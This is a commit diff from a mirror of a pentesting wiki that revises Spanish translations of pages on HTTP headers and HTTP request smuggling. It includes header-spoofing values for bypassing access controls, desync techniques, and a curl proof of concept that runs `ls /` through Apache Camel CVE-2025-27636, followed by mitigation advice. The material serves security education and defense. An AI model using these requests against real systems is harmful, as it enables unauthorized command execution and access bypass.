mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/
This commit is contained in:
parent
d005dc1e3c
commit
4023762e9f
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Listas de palabras y herramientas
|
||||
## Wordlists & Tools
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Encabezados para cambiar la ubicación
|
||||
## Headers to Change Location
|
||||
|
||||
Reescribir **IP de origen**:
|
||||
Reescribir **fuente IP**:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -26,19 +26,20 @@ Reescribir **IP de origen**:
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Ver encabezados hop-by-hop)
|
||||
- `Connection: close, X-Forwarded-For` (Revisar hop-by-hop headers)
|
||||
|
||||
Reescribir **ubicación**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Encabezados hop-by-hop
|
||||
## Cabeceras hop-by-hop
|
||||
|
||||
Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumido por el proxy que maneja actualmente la solicitud, a diferencia de un encabezado de extremo a extremo.
|
||||
Una cabecera hop-by-hop es una cabecera diseñada para ser procesada y consumida por el proxy que está manejando actualmente la petición, a diferencia de una cabecera end-to-end.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
@ -48,58 +49,78 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Encabezados de caché
|
||||
## El header Expect
|
||||
|
||||
**Encabezados de caché del servidor**:
|
||||
Es posible que el cliente envíe la cabecera `Expect: 100-continue` y entonces el servidor responda con `HTTP/1.1 100 Continue` para permitir que el cliente continúe enviando el body de la petición. Sin embargo, a algunos proxies no les gusta esta cabecera.
|
||||
|
||||
Resultados interesantes de `Expect: 100-continue`:
|
||||
- Enviar una petición HEAD con un body: el servidor no tuvo en cuenta que las peticiones HEAD no llevan body y mantiene la conexión abierta hasta que ocurre un timeout.
|
||||
- Algunos servidores devolvieron datos extraños: datos aleatorios leídos del socket en la respuesta, claves secretas o incluso permitió que el front-end no eliminara valores de cabeceras.
|
||||
- También causó una desincronización `0.CL` porque el backend respondió con un 400 en lugar de un 100, pero el proxy front-end estaba preparado para enviar el body de la petición inicial, así que lo envía y el backend lo toma como una nueva petición.
|
||||
- Enviar una variación como `Expect: y 100-continue` también provocó la desincronización `0.CL`.
|
||||
- Un error similar donde el backend respondió con un 404 generó una desincronización `CL.0` porque la petición maliciosa indicaba un `Content-Length`, así que el backend envía la petición maliciosa + los bytes del `Content-Length` de la siguiente petición (de una víctima). Esto desincroniza la cola porque el backend envía la respuesta 404 para la petición maliciosa + la respuesta de las peticiones de la víctima, pero el front-end pensó que solo se había enviado 1 petición, por lo que la segunda respuesta se envía a una segunda petición de la víctima y la respuesta de esa se envía a la siguiente...
|
||||
|
||||
Para más información sobre HTTP Request Smuggling consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Cabeceras de caché
|
||||
|
||||
**Cabeceras de caché del servidor**:
|
||||
|
||||
- **`X-Cache`** en la respuesta puede tener el valor **`miss`** cuando la petición no fue cacheada y el valor **`hit`** cuando sí lo está.
|
||||
- Comportamiento similar en la cabecera **`Cf-Cache-Status`**.
|
||||
- **`Cache-Control`** indica si un recurso está siendo cacheado y cuándo será la siguiente vez que el recurso se considere válido: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** se usa a menudo en la respuesta para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** aunque normalmente no estén incluidas.
|
||||
- **`Age`** define los segundos que el objeto ha estado en la caché del proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** también indica que un recurso fue cacheado.
|
||||
|
||||
- **`X-Cache`** en la respuesta puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está almacenada en caché
|
||||
- Comportamiento similar en el encabezado **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** se usa a menudo en la respuesta para **indicar encabezados adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no tienen clave.
|
||||
- **`Age`** define el tiempo en segundos que el objeto ha estado en la caché del proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** también indica que un recurso fue almacenado en caché
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Encabezados de caché local**:
|
||||
**Cabeceras de caché local**:
|
||||
|
||||
- `Clear-Site-Data`: Encabezado para indicar la caché que debe ser eliminada: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contiene la fecha/hora cuando la respuesta debe expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Clear-Site-Data`: Cabecera para indicar qué cachés deben eliminarse: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contiene la fecha/hora en la que la respuesta debería expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` igual que `Cache-Control: no-cache`
|
||||
- `Warning`: El encabezado HTTP general **`Warning`** contiene información sobre posibles problemas con el estado del mensaje. Puede aparecer más de un encabezado `Warning` en una respuesta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: El encabezado general HTTP **`Warning`** contiene información sobre posibles problemas con el estado del mensaje. Puede aparecer más de una cabecera `Warning` en una respuesta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Condicionales
|
||||
|
||||
- Las solicitudes que utilizan estos encabezados: **`If-Modified-Since`** y **`If-Unmodified-Since`** recibirán respuesta con datos solo si el encabezado de respuesta **`Last-Modified`** contiene un tiempo diferente.
|
||||
- Las solicitudes condicionales que utilizan **`If-Match`** y **`If-None-Match`** utilizan un valor Etag para que el servidor web envíe el contenido de la respuesta si los datos (Etag) han cambiado. El `Etag` se toma de la respuesta HTTP.
|
||||
- El valor **Etag** generalmente se **calcula** en función del **contenido** de la respuesta. Por ejemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que el `Etag` es el **Sha1** de **37 bytes**.
|
||||
- Las peticiones que usan estas cabeceras: **`If-Modified-Since`** y **`If-Unmodified-Since`** recibirán datos solo si la cabecera de respuesta **`Last-Modified`** contiene una hora diferente.
|
||||
- Las peticiones condicionales que usan **`If-Match`** y **`If-None-Match`** usan un valor Etag para que el servidor envíe el contenido de la respuesta si los datos (Etag) han cambiado. El `Etag` se toma de la respuesta HTTP.
|
||||
- El valor **Etag** suele calcularse en base al **contenido** de la respuesta. Por ejemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que el `Etag` es el **Sha1** de **37 bytes**.
|
||||
|
||||
## Solicitudes de rango
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Indica si el servidor admite solicitudes de rango, y si es así, en qué unidad se puede expresar el rango. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica la parte de un documento que el servidor debe devolver. Por ejemplo, `Range:80-100` devolverá los bytes 80 a 100 de la respuesta original con un código de estado 206 Partial Content. También recuerda eliminar el encabezado `Accept-Encoding` de la solicitud.
|
||||
- Esto podría ser útil para obtener una respuesta con código javascript reflejado arbitrario que de otro modo podría ser escapado. Pero para abusar de esto necesitarías inyectar estos encabezados en la solicitud.
|
||||
- **`If-Range`**: Crea una solicitud de rango condicional que solo se cumple si el etag o la fecha dados coinciden con el recurso remoto. Se utiliza para evitar descargar dos rangos de versiones incompatibles del recurso.
|
||||
- **`Content-Range`**: Indica dónde en un mensaje de cuerpo completo pertenece un mensaje parcial.
|
||||
- **`Accept-Ranges`**: Indica si el servidor soporta range requests, y si es así en qué unidad puede expresarse el rango. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica la parte de un documento que el servidor debe devolver. Por ejemplo, `Range:80-100` devolverá los bytes 80 a 100 de la respuesta original con un código 206 Partial Content. También recuerda eliminar la cabecera `Accept-Encoding` de la petición.
|
||||
- Esto puede ser útil para obtener una respuesta con código JavaScript reflejado arbitrario que de otro modo podría ser escapado. Pero para abusar de esto necesitarías inyectar estas cabeceras en la petición.
|
||||
- **`If-Range`**: Crea una petición de rango condicional que solo se cumplirá si el etag o la fecha proporcionados coinciden con el recurso remoto. Usado para evitar descargar dos rangos de versiones incompatibles del recurso.
|
||||
- **`Content-Range`**: Indica dónde pertenece un mensaje parcial dentro de un mensaje de cuerpo completo.
|
||||
|
||||
## Información del cuerpo del mensaje
|
||||
|
||||
- **`Content-Length`:** El tamaño del recurso, en número decimal de bytes.
|
||||
- **`Content-Type`**: Indica el tipo de medio del recurso
|
||||
- **`Content-Encoding`**: Se utiliza para especificar el algoritmo de compresión.
|
||||
- **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, de modo que permite a un usuario diferenciar según el idioma preferido del usuario.
|
||||
- **`Content-Type`**: Indica el tipo de medio del recurso.
|
||||
- **`Content-Encoding`**: Usado para especificar el algoritmo de compresión.
|
||||
- **`Content-Language`**: Describe el(los) idioma(s) humano(s) destinados a la audiencia, permitiendo diferenciar según el idioma preferido del usuario.
|
||||
- **`Content-Location`**: Indica una ubicación alternativa para los datos devueltos.
|
||||
|
||||
Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **info**, esto podría ser **interesante.**\
|
||||
Por ejemplo, una combinación de **`Range`** y **`Etag`** en una solicitud HEAD puede filtrar el contenido de la página a través de solicitudes HEAD:
|
||||
Desde un punto de vista pentest esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **info**, esto podría ser **interesante.**\
|
||||
Por ejemplo, una combinación de **`Range`** y **`Etag`** en una petición HEAD puede leak el contenido de la página vía peticiones HEAD:
|
||||
|
||||
- Una solicitud con el encabezado `Range: bytes=20-20` y con una respuesta que contiene `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está filtrando que el SHA1 del byte 20 es `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Una petición con la cabecera `Range: bytes=20-20` y con una respuesta que contiene `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está leakando que el SHA1 del byte 20 es `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Información del servidor
|
||||
|
||||
@ -108,28 +129,29 @@ Por ejemplo, una combinación de **`Range`** y **`Etag`** en una solicitud HEAD
|
||||
|
||||
## Controles
|
||||
|
||||
- **`Allow`**: Este encabezado se utiliza para comunicar los métodos HTTP que un recurso puede manejar. Por ejemplo, podría especificarse como `Allow: GET, POST, HEAD`, indicando que el recurso admite estos métodos.
|
||||
- **`Expect`**: Utilizado por el cliente para transmitir expectativas que el servidor necesita cumplir para que la solicitud se procese con éxito. Un caso de uso común implica el encabezado `Expect: 100-continue`, que señala que el cliente tiene la intención de enviar una carga de datos grande. El cliente busca una respuesta `100 (Continue)` antes de proceder con la transmisión. Este mecanismo ayuda a optimizar el uso de la red al esperar la confirmación del servidor.
|
||||
- **`Allow`**: Esta cabecera se usa para comunicar los métodos HTTP que un recurso puede manejar. Por ejemplo, puede especificarse como `Allow: GET, POST, HEAD`, indicando que el recurso soporta esos métodos.
|
||||
- **`Expect`**: Utilizado por el cliente para transmitir expectativas que el servidor debe cumplir para que la petición sea procesada con éxito. Un caso común es la cabecera `Expect: 100-continue`, que indica que el cliente pretende enviar una carga de datos grande. El cliente espera una respuesta `100 (Continue)` antes de proceder con la transmisión. Este mecanismo ayuda a optimizar el uso de la red esperando la confirmación del servidor.
|
||||
|
||||
## Descargas
|
||||
|
||||
- El encabezado **`Content-Disposition`** en las respuestas HTTP indica si un archivo debe ser mostrado **inline** (dentro de la página web) o tratado como un **adjunto** (descargado). Por ejemplo:
|
||||
- La cabecera **`Content-Disposition`** en respuestas HTTP indica si un archivo debe mostrarse **inline** (dentro de la página web) o tratarse como un **attachment** (descargado). Por ejemplo:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
Esto significa que el archivo llamado "filename.jpg" está destinado a ser descargado y guardado.
|
||||
|
||||
## Encabezados de Seguridad
|
||||
## Encabezados de seguridad
|
||||
|
||||
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
### Política de Seguridad de Contenido (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **Tipos de Confianza**
|
||||
### **Trusted Types**
|
||||
|
||||
Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente diseñados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto.
|
||||
Al aplicar Trusted Types mediante CSP, las aplicaciones pueden protegerse contra ataques DOM XSS. Trusted Types garantizan que solo objetos específicamente creados, conformes con políticas de seguridad establecidas, puedan utilizarse en llamadas a APIs web peligrosas, asegurando así el código JavaScript por defecto.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,74 +170,75 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Este encabezado previene la detección de tipos MIME, una práctica que podría llevar a vulnerabilidades XSS. Asegura que los navegadores respeten los tipos MIME especificados por el servidor.
|
||||
Este header previene MIME type sniffing, una práctica que podría conducir a vulnerabilidades XSS. Garantiza que los navegadores respeten los MIME types especificados por el servidor.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Para combatir el clickjacking, este encabezado restringe cómo se pueden incrustar documentos en las etiquetas `<frame>`, `<iframe>`, `<embed>` u `<object>`, recomendando que todos los documentos especifiquen explícitamente sus permisos de incrustación.
|
||||
Para combatir clickjacking, esta cabecera restringe cómo se pueden incrustar los documentos en `<frame>`, `<iframe>`, `<embed>` o `<object>`, recomendando que todos los documentos especifiquen explícitamente sus permisos de incrustación.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Política de Recursos de Origen Cruzado (CORP) y Compartición de Recursos de Origen Cruzado (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) y Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP es crucial para especificar qué recursos pueden ser cargados por sitios web, mitigando filtraciones entre sitios. CORS, por otro lado, permite un mecanismo de compartición de recursos de origen cruzado más flexible, relajando la política de mismo origen bajo ciertas condiciones.
|
||||
CORP es crucial para especificar qué recursos pueden ser cargados por los sitios web, mitigando cross-site leaks. CORS, por otro lado, permite un mecanismo más flexible de compartición de recursos entre orígenes, relajando la política de mismo origen bajo ciertas condiciones.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Política de Incrustación de Origen Cruzado (COEP) y Política de Apertura de Origen Cruzado (COOP)**
|
||||
### **Cross-Origin Embedder Policy (COEP) y Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP y COOP son esenciales para habilitar el aislamiento de origen cruzado, reduciendo significativamente el riesgo de ataques similares a Spectre. Controlan la carga de recursos de origen cruzado y la interacción con ventanas de origen cruzado, respectivamente.
|
||||
COEP y COOP son esenciales para habilitar el aislamiento entre orígenes, reduciendo significativamente el riesgo de ataques similares a Spectre. Controlan, respectivamente, la carga de recursos de origen cruzado y la interacción con ventanas de origen cruzado.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
Por último, HSTS es una característica de seguridad que obliga a los navegadores a comunicarse con los servidores solo a través de conexiones HTTPS seguras, mejorando así la privacidad y la seguridad.
|
||||
Por último, HSTS es una característica de seguridad que obliga a los navegadores a comunicarse con los servidores únicamente a través de conexiones HTTPS seguras, mejorando así la privacidad y la seguridad.
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 define los nombres de los campos de encabezado como **insensibles a mayúsculas y minúsculas** (RFC 9110 §5.1). Sin embargo, es muy común encontrar middleware personalizado, filtros de seguridad o lógica de negocio que comparan el nombre de encabezado *literal* recibido sin normalizar primero la capitalización (por ejemplo, `header.equals("CamelExecCommandExecutable")`). Si esas verificaciones se realizan **sensible a mayúsculas y minúsculas**, un atacante puede eludirlas simplemente enviando el mismo encabezado con una capitalización diferente.
|
||||
HTTP/1.1 define los nombres de campos de cabecera como **insensibles a mayúsculas/minúsculas** (RFC 9110 §5.1). No obstante, es muy común encontrar middleware personalizado, filtros de seguridad o lógica de negocio que comparan el nombre de cabecera *literal* recibido sin normalizar antes el uso de mayúsculas/minúsculas (p. ej. `header.equals("CamelExecCommandExecutable")`). Si esas comprobaciones se realizan **sensible a mayúsculas/minúsculas**, un atacante puede omitirlas simplemente enviando la misma cabecera con una capitalización diferente.
|
||||
|
||||
Situaciones típicas donde aparece este error:
|
||||
Situaciones típicas en las que aparece este error:
|
||||
|
||||
* Listas personalizadas de permitir/denegar que intentan bloquear encabezados internos "peligrosos" antes de que la solicitud llegue a un componente sensible.
|
||||
* Implementaciones internas de pseudo-encabezados de proxy inverso (por ejemplo, sanitización de `X-Forwarded-For`).
|
||||
* Frameworks que exponen puntos finales de gestión / depuración y dependen de los nombres de encabezados para la autenticación o selección de comandos.
|
||||
* Custom allow/deny lists que intentan bloquear cabeceras internas “peligrosas” antes de que la petición llegue a un componente sensible.
|
||||
* Implementaciones internas de pseudo-cabeceras de reverse-proxy (p.ej. `X-Forwarded-For` sanitisation).
|
||||
* Frameworks que exponen endpoints de management / debug y dependen de los nombres de cabecera para la autenticación o la selección de comandos.
|
||||
|
||||
### Abusing the bypass
|
||||
### Abusar del bypass
|
||||
|
||||
1. Identificar un encabezado que sea filtrado o validado del lado del servidor (por ejemplo, leyendo el código fuente, la documentación o los mensajes de error).
|
||||
2. Enviar el **mismo encabezado con una capitalización diferente** (mixta o en mayúsculas). Debido a que las pilas HTTP generalmente canonizan los encabezados solo *después* de que se ha ejecutado el código del usuario, se puede omitir la verificación vulnerable.
|
||||
3. Si el componente de downstream trata los encabezados de manera insensible a mayúsculas y minúsculas (la mayoría lo hace), aceptará el valor controlado por el atacante.
|
||||
1. Identificar una cabecera que sea filtrada o validada en el servidor (por ejemplo, leyendo código fuente, documentación o mensajes de error).
|
||||
2. Enviar la **misma cabecera con una capitalización diferente** (mixed-case o upper-case). Debido a que las pilas HTTP suelen canonicalizar las cabeceras sólo *después* de que se ejecute el código de usuario, la comprobación vulnerable puede evitarse.
|
||||
3. Si el componente downstream trata las cabeceras de forma insensible a mayúsculas/minúsculas (la mayoría lo hace), aceptará el valor controlado por el atacante.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
En versiones vulnerables de Apache Camel, las rutas del *Command Center* intentan bloquear solicitudes no confiables eliminando los encabezados `CamelExecCommandExecutable` y `CamelExecCommandArgs`. La comparación se realizó con `equals()`, por lo que solo se eliminaron los nombres exactos en minúsculas.
|
||||
En versiones vulnerables de Apache Camel las rutas del *Command Center* intentan bloquear peticiones no confiables eliminando las cabeceras `CamelExecCommandExecutable` y `CamelExecCommandArgs`. La comparación se hacía con `equals()` por lo que sólo los nombres exactamente en la forma esperada eran eliminados.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Los encabezados llegan al componente `exec` sin filtrar, lo que resulta en la ejecución remota de comandos con los privilegios del proceso Camel.
|
||||
Las cabeceras llegan al componente `exec` sin filtrarse, resultando en remote command execution con los privilegios del proceso Camel.
|
||||
|
||||
### Detección y Mitigación
|
||||
### Detección y mitigación
|
||||
|
||||
* Normalice todos los nombres de cabecera a un único caso (normalmente minúsculas) **antes** de realizar comparaciones allow/deny.
|
||||
* Rechace duplicados sospechosos: si están presentes tanto `Header:` como `HeAdEr:`, trátelo como una anomalía.
|
||||
* Utilice una allow-list positiva aplicada **después** de la canonicalisation.
|
||||
* Proteja los endpoints de gestión con autenticación y segmentación de red.
|
||||
|
||||
* Normaliza todos los nombres de encabezados a un solo caso (generalmente en minúsculas) **antes** de realizar comparaciones de permitir/negar.
|
||||
* Rechaza duplicados sospechosos: si están presentes tanto `Header:` como `HeAdEr:`, trátalo como una anomalía.
|
||||
* Utiliza una lista de permitidos positiva aplicada **después** de la canonicalización.
|
||||
* Protege los puntos finales de gestión con autenticación y segmentación de red.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [CVE-2025-27636 – RCE en Apache Camel a través de eludir el caso de encabezado (blog de OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
@ -5,8 +5,8 @@
|
||||
|
||||
## ¿Qué es
|
||||
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre **front-end proxies** y el servidor **back-end** permite que un **atacante** **envíe** una **request** HTTP que será **interpretada** como una **sola request** por los **front-end** proxies (load balance/reverse-proxy) y **como 2 requests** por el servidor **back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente request que llega al back-end server después de la suya**.
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre **front-end proxies** y el **back-end** server permite a un **attacker** **enviar** una HTTP **request** que será **interpretada** como una **single request** por los **front-end** proxies (load balance/reverse-proxy) y **as 2 request** por el **back-end** server.\
|
||||
Esto permite a un usuario **modificar la siguiente request que llega al back-end server tras la suya**.
|
||||
|
||||
### Teoría
|
||||
|
||||
@ -25,41 +25,58 @@ Esto permite a un usuario **modificar la siguiente request que llega al back-end
|
||||
|
||||
### Realidad
|
||||
|
||||
El **Front-End** (a load-balance / Reverse Proxy) **procesa** el _**content-length**_ o el _**transfer-encoding**_ header y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto puede ser muy crítico ya que **un atacante podrá enviar una request** al reverse proxy que será **interpretada** por el servidor **back-end** **como 2 requests diferentes**. El **peligro** de esta técnica reside en que el servidor **back-end** **interpretará** la **segunda request inyectada** como si **viniera del siguiente cliente** y la **request real** de ese cliente será **parte** de la **request inyectada**.
|
||||
El **Front-End** (un load-balance / Reverse Proxy) **procesa** el header _**Content-Length**_ o el header _**Transfer-Encoding**_ y el **Back-end** server **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto puede ser muy crítico ya que **un attacker podrá enviar una request** al reverse proxy que será **interpretada** por el **back-end** server **como 2 requests diferentes**. El **peligro** de esta técnica reside en que el **back-end** server **interpretará** la **segunda request inyectada** como si **viniera del siguiente cliente** y la **request real** de ese cliente será **parte** de la **request inyectada**.
|
||||
|
||||
### Particularidades
|
||||
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
||||
|
||||
- **Content-Length**: Este header usa un **número decimal** para indicar el **número** de **bytes** del **body** de la request. Se espera que el body termine en el último carácter, **no se necesita una nueva línea al final de la request**.
|
||||
- **Transfer-Encoding:** Este header usa en el **body** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente chunk**. El **chunk** debe **terminar** con una **nueva línea** pero esa nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **chunk de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera request del request Smuggling.
|
||||
- **Content-Length**: Este header usa un **número decimal** para indicar el **número** de **bytes** del **body** de la request. Se espera que el body termine en el último carácter; **no es necesaria una nueva línea al final de la request**.
|
||||
- **Transfer-Encoding:** Este header usa en el **body** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente chunk**. El **chunk** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **chunk de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
- **Connection**: Según mi experiencia se recomienda usar **`Connection: keep-alive`** en la primera request del Request Smuggling.
|
||||
|
||||
## Ejemplos básicos
|
||||
### Visible - Hidden
|
||||
|
||||
El principal problema con HTTP/1.1 es que todas las requests viajan por el mismo socket TCP, así que si se encuentra una discrepancia entre 2 sistemas que reciben requests es posible enviar una request que será tratada como 2 requests diferentes (o más) por el backend final (o incluso por sistemas intermedios).
|
||||
|
||||
**[This blog post](https://portswigger.net/research/http1-must-die)** propone nuevas formas de detectar ataques de desync a un sistema que no serán detectados por WAFs. Para ello presenta los comportamientos Visible vs Hidden. El objetivo en este caso es intentar encontrar discrepancias en la respuesta usando técnicas que podrían causar desyncs sin explotarlo realmente.
|
||||
|
||||
Por ejemplo, enviar una request con el header normal Host y un header " host", si el backend se queja de esta request (tal vez porque el valor de " host" es incorrecto) puede significar que el front-end no tuvo en cuenta el header " host" mientras que el backend final sí lo usó, lo que indica altamente probable una desincronización entre front-end y backend.
|
||||
|
||||
Esto sería una discrepancia **Hidden-Visible**.
|
||||
|
||||
Si el front-end hubiera tenido en cuenta el header " host" pero el back-end no, esto podría haber sido una situación **Visible-Hidden**.
|
||||
|
||||
Por ejemplo, esto permitió descubrir desyncs entre AWS ALB como front-end e IIS como backend. Esto fue porque cuando se envió "Host: foo/bar" el ALB devolvió `400, Server; awselb/2.0`, pero cuando se envió "Host : foo/bar" devolvió `400, Server: Microsoft-HTTPAPI/2.0`, indicando que el backend estaba enviando la respuesta. Esta es una situación Hidden-Visible (H-V).
|
||||
|
||||
Nota que esta situación no está corregida en AWS, pero puede prevenirse configurando `routing.http.drop_invalid_header_fields.enabled` y `routing.http.desync_mitigation_mode = strictest`.
|
||||
|
||||
|
||||
## Basic Examples
|
||||
|
||||
> [!TIP]
|
||||
> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repeater porque algunos gadgets abusan de newlines, carriage returns y content-lengths malformados.
|
||||
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
|
||||
|
||||
Los ataques de HTTP request smuggling se crean enviando requests ambiguas que explotan discrepancias en cómo front-end y back-end interpretran los headers `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse de diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores front-end y back-end priorizan estos headers. Las vulnerabilidades surgen cuando los servidores procesan la misma request de maneras diferentes, llevando a resultados inesperados y potencialmente maliciosos.
|
||||
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
|
||||
|
||||
### Ejemplos básicos de tipos de vulnerabilidad
|
||||
### Basic Examples of Vulnerability Types
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> A la tabla anterior deberías añadir la técnica TE.0, similar a la técnica CL.0 pero usando Transfer Encoding.
|
||||
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
